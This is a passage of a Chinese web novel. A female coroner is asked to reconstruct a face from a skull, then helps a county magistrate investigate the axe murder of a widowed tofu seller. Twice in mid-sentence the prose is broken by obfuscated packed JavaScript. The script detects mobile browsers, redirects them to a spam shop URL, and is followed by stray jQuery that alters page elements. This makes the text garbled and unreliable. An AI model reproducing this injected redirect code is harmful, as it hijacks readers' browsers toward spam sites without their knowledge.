不过这股轻快在见到友人时,又很快消失了。 见面的地方不是别处,正是昨日她来过的樊楼,门口的小二见程青和谢县令有说有笑地走进来,腿肚子不禁抖了一下,上前谄媚着迎二人进店。 谢芳衡订了一间包间,程青进去的时候,来人已经点了几样菜。 “这是我的旧友,你叫他慕公子就是。”谢芳衡为程青介绍。 程青看向对面男子,身形和谢芳衡如出一辙的高大,不同的是谢芳衡眉眼精致,冲淡了这股摄人的气势,而这位慕公子,眉宇间的矜贵反而加重了这股气势,显得居高临下。 “慕公子好,在下程青。”程青打了个招呼。 慕公子没有说话,饶有兴趣地打量了一圈程青,直到把程青看得不自在了,才笑着对谢芳衡道:“这就是你说的奇葩,果然有几分胆色。” 他一笑,身上那股气势便弱了一些。 程青心下腹诽,奇葩?好你个谢芳衡,你就这样在别人面前蛐蛐我? 谢芳衡感受到程青刺眼的目光,面不改色,“有些小聪明罢了,公子的事要紧。” 说道正事,慕公子脸色一正,沉声道:“今日请姑娘来,实则是在下有一桩事要请姑娘帮忙。” “公子请说便是。”程青也端正了态度。 “事情是这样,我家祖父从前在外逃难,后来遭遇不幸,等家人迎回他时,只剩下枯骨一堆,本来要下葬的,可祖母不相信那是祖父的遗骸,为此还生了重病,下不来床,我听不琢说,你有一门画白骨的绝技,仅仅需要一个颅骨就可以画出逝者的面容,可是真的?” 慕公子两眼紧紧盯着程青,只要程青有一丝胆怯迟疑,恐怕他不会轻易饶过她。 程青没有直接回答,反而道:“不仅仅是靠一个颅骨,还要看死者生前是胖是瘦,而且即便如此,我也不能像你保证画出来的面容就一定是对的,我只能说,我会根据我所掌握的,尽可能复原。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592601|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “就是说,你可以了?”慕公子紧追不放。 程青看向谢芳衡,“大人,你没和你的朋友说清楚么?” 这种事情她怎么敢打包票,对面一看就是一个达官贵人,万一她画出来的结果他不满意,要动她就是抬抬手的事。这里不是现代,跟对面讲科学那一套?人家听不懂不说,也不会给她机会辩解的。 “公子,稍安勿躁。”谢芳衡替他倒了一杯茶水,“确实如此,这门技艺过于惊世骇俗,有其局限之处也是理所当然,我没法替她给你做保证,但是,县衙里已经通过她的技艺,找到一个死者的身份了。” 程青:? 程青看向谢芳衡,何梅认出来的那幅画像并不是通过颅骨复原的啊?李四郎虽被人毁了面容,但整体的轮廓还在,恢复起来比白骨简单多了。 “真的?”慕公子狐疑, “连我你都不信么?”谢芳衡淡淡道,从怀里掏出一叠纸,“这里是那人的画像,以及家人的证词。” 程青勾着脖子去看,画像上是她昨日才完成的小姑娘。 “大人,这孩子家人找到了?” “恩,好在她还有个姨婆在世,今日下午到衙门做了证词。”谢芳衡看向程青,眼里带着温和的光芒,“她说,你画得和她外孙女很像,很像。” 程青扯起唇角想笑一下,可又笑不出来,最后只能低声道一句:“那就好。” 证词没有多少,慕公子很快就看完了,“程姑娘有此等绝技,实在是古羊县之福啊,刚刚是我唐突了。我家人的事就拜托程姑娘了。” 慕公子站起身,朝着程青举起酒杯,“这杯酒就当是我的歉意。” “不敢不敢。”程青推脱不过,看向谢芳衡。 “公子,程姑娘明日还要当值,恐怕不宜饮酒。”谢芳衡开口。 “那程姑娘就请自便。”慕公子饮了杯中酒,像是放下了一件大事,“不琢,你我之间,我就不言谢了,若是事成了,日后我可应你二人一个要求。” 谢芳衡刚想推脱,可一想到程青,“多谢公子了。” 程青看不懂两人之间的官司,只埋着头吃那道清蒸藕花蟹,听到两人谈妥,才放下筷子,道:“多谢慕公子。” 两人回过神一看,桌上的菜已被吃得七七八八,不由得一笑, “小二,再上几道好菜来!” …… 落更声响,谢芳衡言及明日上值,三人散了宴席。 程青与他们二人在路口处分别,顺着西街,慢悠悠地散步回家。 街上只有城里的商户还在营业,不过快要过年了,家家户户都忙着准备年货、祭祀灶君,一路上灯火通明。 耳边是别家团圆的笑闹声,程青一个人行走在热闹的街市中,突然觉得有些寂寥。 从前再忙碌,一家人总是在一起,彼此互相牵挂。 可到了这里,孤身一人,无亲无故,不知道爸爸妈妈现在好不好?忙不忙?是不是知道她出事了,是不是还在为她伤心…… 满天星子,没有一颗可以为她解答。 垂下目光,程青哈了口热气,裹紧外衣,消失在闹市中。 26. 豆腐娘子 县衙里灯火通明,门子强忍着困意守在门口,趁着无人注意偷偷打了个哈欠。 程青到达班房时,见许岩也在,“你们那边结束了?” “恩,尸体都已经挖出来了,师父年纪大了,怕走夜路危险,我就先回来了。”许岩也是困得不行,舟车劳顿赶回县城,刚回到家,还没来得及休息,听说出了事,赶紧赶到了县衙。 “你这是已经弄完了?” “没有,”程青放下箱子,“还有一些细节想再看看,不过死因很明确了,是被斧头砍死的。” 从尸体上的伤口以及现场的血迹,死者生前被砍了数刀,当然最致命的就是脖子上的那一刀。 “我听说是西街的豆腐娘子被杀了?” "恩,死得很惨。"程青想起来也是心有戚戚,一个漂亮的女孩子就那样被人杀了。 豆腐娘子是寡妇,许岩一个正当“妙龄”的青少年,很少去她家买豆腐,免得惹人非议。可也听说过豆腐娘子性情温婉,长相秀丽。 “可惜了,好好的一个女人家,谁会和她过不去呢?” “这个就要去查她的人际关系了。” 程青和豆腐娘子不是很熟,只知道她是外地嫁过来的,没多久,婆婆和丈夫就相继离世了,只剩下她一个经营豆腐店。 “程仵作,大人叫你。”钱六儿急匆匆跑过来,见许岩也在,“许仵作,你也在?刚好一起去吧。” 程青拎起箱子,“好,我这就来。” 大堂里此时乌泱泱围着一圈人,谢芳衡正带着人挨个询问。 “大人。” “来了?”谢芳衡见程青到了,从人群里退出来,拉着程青走到二堂。 “在豆腐店里,你说你收集到了指痕?”谢芳衡再次和程青确认。 “没错,凶手手持斧头砍了死者数刀,这么大的力气必然在斧头上留下指纹,虽然避开了血迹,但还是取到了完整的掌印。”程青解释。 又接着道:“上一次,抓程庆时,衙门也是用的指纹对比的方法才确认了他的罪行,当时审案,我记得有很多百姓围观,指纹破案的事情在县城已经不是个秘密了。而这个凶手却忽略了这点,或者说他根本不知道衙门可以通过比对指纹找出凶手,是不是说明,凶手不是本县人?至少这段时日他并不知道这件事。” 谢芳衡点点头,“我也是这么想的,凶手如果不是本县人,那么他做了案后,一定会第一时间离开县城。县城酉时关闭城门,此人一定还在城里。” 根据程青的判断,豆腐娘子死亡时间不超过四个小时,也就是说,凶手的作案时间在酉时和戌时之间,他根本来不及出城。 所以今夜他召集了豆腐店附近的人家,连夜问询,最好在明日县城开门时找到线索,否则一旦凶手出了城,就再难找到了。 “不琢,都问清楚了。”慕公子想看热闹,谢芳衡却不想浪费这个白得的劳动力,就让他帮着询问街坊。 “情况怎么样?” “不好说。”慕公子一向淡定的脸色这会儿也皱起了眉头,“周围的人都说死者性情温婉,与邻居们相处得很融洽,平日里做买卖也和和气气的,一副笑脸,不曾和人有过争执。” “她难道没有什么朋友的么?”程青问。 “豆腐娘子是个寡妇,婆家都死光了,听说娘家也没人了,街坊里背地里都说她晦气,所以她也不和别人多来往,每日关了店就待在家里,并不爱出门交际。”钱六儿在一旁补充道。 “会不会是陌生人作案?”许岩道, “不像,从死者身上的伤口痕迹看,凶手是一个身材高挑且力量大的人,这样的一个人若想制服并杀死豆腐娘子,是十分容易的,可豆腐娘子身上却挨了这么多伤口,凶手就是奔着虐杀去的。”程青提出自己的疑问。 “而且豆腐娘子一个人在家,应当十分谨慎,又怎么会随意放进来一个陌生人呢?” 谢芳衡听得点头。豆腐娘子家的门锁都是完好的,只能从内向外打开。 倒是那把斧头让他很在意,“钱六儿,你去把赵丘叫来。” 程青一愣,这件事还扯到赵丘么?话说,她也好久没有见到赵丘了。 谢芳衡示意程青将那把斧头拿出来,“这个斧头是我让人制作的,为了和街上普通的斧头做区分,这些斧头上都刻了一个剑的图案。” 程青仔细看了斧头的手柄末端,果然看见了一个小小的刀剑模样。 “这就是你说的武器?”慕公子语气诧异地看向那把斧头,铁质的斧头黑乎乎的,只有斧刃那里看起来比较锋利,“和一般的斧头没什么两样啊?” “我让人重新调制了炼铁的配方,这柄斧头比起之前要锋利数倍。”说起这个斧头的来历,谢芳衡语气都变得轻快一些。 程青忍不住看了他一眼,她就随口一说,难道他真就去想办法炼铁去啦? “那凶手是怎么获得这把斧头的?”慕公子问出了要点。 谢芳衡不是不懂得轻重的人,炼铁这种大事自然会禀报朝廷,慕公子也知道这件事,更明白这件事的重要性,像这样的斧头,或者说秘密武器,应该会被藏得好好地,又怎么会被人随意得到? “我也在想这个问题,制铁的地方十分隐蔽,凶手是怎么进去的。”谢芳衡一想到制铁的配方可能会被泄露出去,就觉得心里有一把火。 “这个赵丘!” “制铁什么的也不急在这一时,”程青心里倒不是很急,她见过好的钢铁有多锋利,眼前这个斧头虽然锋利,但也就是个半成品左右。既然发现了问题,后面再藏深一点就是。 “眼下最要紧的是找出凶手。” “恩。”谢芳衡沉下心神,“我已经让人去查豆腐娘子婆家和娘家那边了。” 虽然直系亲属都已经死了,但是还有亲戚在,也许能查出一点头绪。 “程姑娘,你不是会验那个指印么?不如明早让不琢卡住城门,你挨个比对出城人的指印?”慕公子声音里带着点跃跃欲试,早就听说程青的指纹验证,他一直想看看。 程青:??? 程青一脸问号看向慕公子,你是有什么问题么?你知道比对一个指纹要多久么?还挨个比对?城门口一早上进出人数少说也有上百,她就算把眼睛看瞎也看不完。 深吸一口气,看在对方位高权重又不懂的份上,程青解释:“这个指纹比对十分严肃,有一点错误就会冤枉了好人,放过了凶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628654|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,而且我们大张旗鼓在城门口验指纹,凶手一定会知道,到时候在城里躲个十天半个月,衙门也没有这么多人手天天守在城门口。” “我建议还是从豆腐娘子本身入手。”程青将话题扯回来,“凶手一定和豆腐娘子有一些过节,所以才会下手这么狠厉,而豆腐娘子又是不与人交恶的性格,说明凶手是因为某个与豆腐娘子有关的外物才会对其下杀手。” “可是豆腐娘子孤身一人,只有一家豆腐店,还能有什么地方挡了别人的道?”钱六儿想不通,凶手既不为财也不为色,难道豆腐娘子还有什么隐藏的传家宝? 程青脑海中突然闪过一道白光,急问:“你刚刚说什么?” “我说她挡了别人的道?”钱六儿不知道自己哪里说得有问题。 “不是这句,是上一句。” “哦,豆腐娘子只有一家豆腐店。” “对!就是豆腐店!”程青激动道,“也许犯人就是为了这家豆腐店!” 西街豆腐店虽然不是什么好的位置,但是靠近路口,平时人流量也算大,如果有人想要西街的店铺的话,孤身一人的豆腐娘子就是最好的下手目标。 “豆腐店?就为了一家小小的豆腐店?”慕公子不能理解,“若是真想要的话,为什么不花钱买一个呢?” “慕公子你有所不知,西街的这些店铺虽然小,但是要卖,谁也不会卖,就算自己不做生意,也会租赁出去。但是租赁的价格又太高,有些人接受不了。可若是无主的店铺,那么只要去衙门花一半的钱就能买下来。” 本来程青也不懂这些,可程老爹死了之后,经常有人上门询问她是否要卖铺子,李大娘怕她吃亏就说,宁愿租出去也别卖。 “那也用不着杀人吧?就算她死了,难道凶手就一定能买到么?这么大的事情,恐怕整个县城都知道这个铺子是还给衙门了。”慕公子还是觉得说不通。 “我也觉得有点奇怪,会不会是买铺子不成,恼羞成怒杀人?” “买家这么凶残么?” “那不好说,”程青点点头,心有余悸道:“之前我家铺子还有人上门威胁我呢,后来听说我在衙门当值,才放弃了。” 谢芳衡闻言,赶紧看向程青,见她身上没有不妥,才松了一口气,轻叱,“这么重要的事,怎么不早说?你有没有受伤?” “啊?”程青挠挠头,“那人就来了一次,被李大娘轰走了,我后来想报官的,可那人再也没来过了。” “你还记得那人长相么?” 程青眯着眼回忆,“那男人身高比我高半个头,身形瘦弱,面上白净,看起来像个文弱书生,和这次的凶手并不相符。” 这句话直接否定了一个可能性。 二堂陷入了短暂的安静。 “大人,查到了。”老书吏捧着册子小跑过来,气还没喘匀就说,“查到了,豆腐娘子婆家人都是本县人,她丈夫是家里的老三,本来上面还有两个哥哥,没成年就死了,后来他们爹在外做工,被山贼杀了,就剩下孤儿寡母二人。至于豆腐娘子她本人不是古羊县人,她是盂县人,早年逃难到此地,说是家里还有个哥哥,逃难走散了。” 程青听完,忽地一笑,有意思了。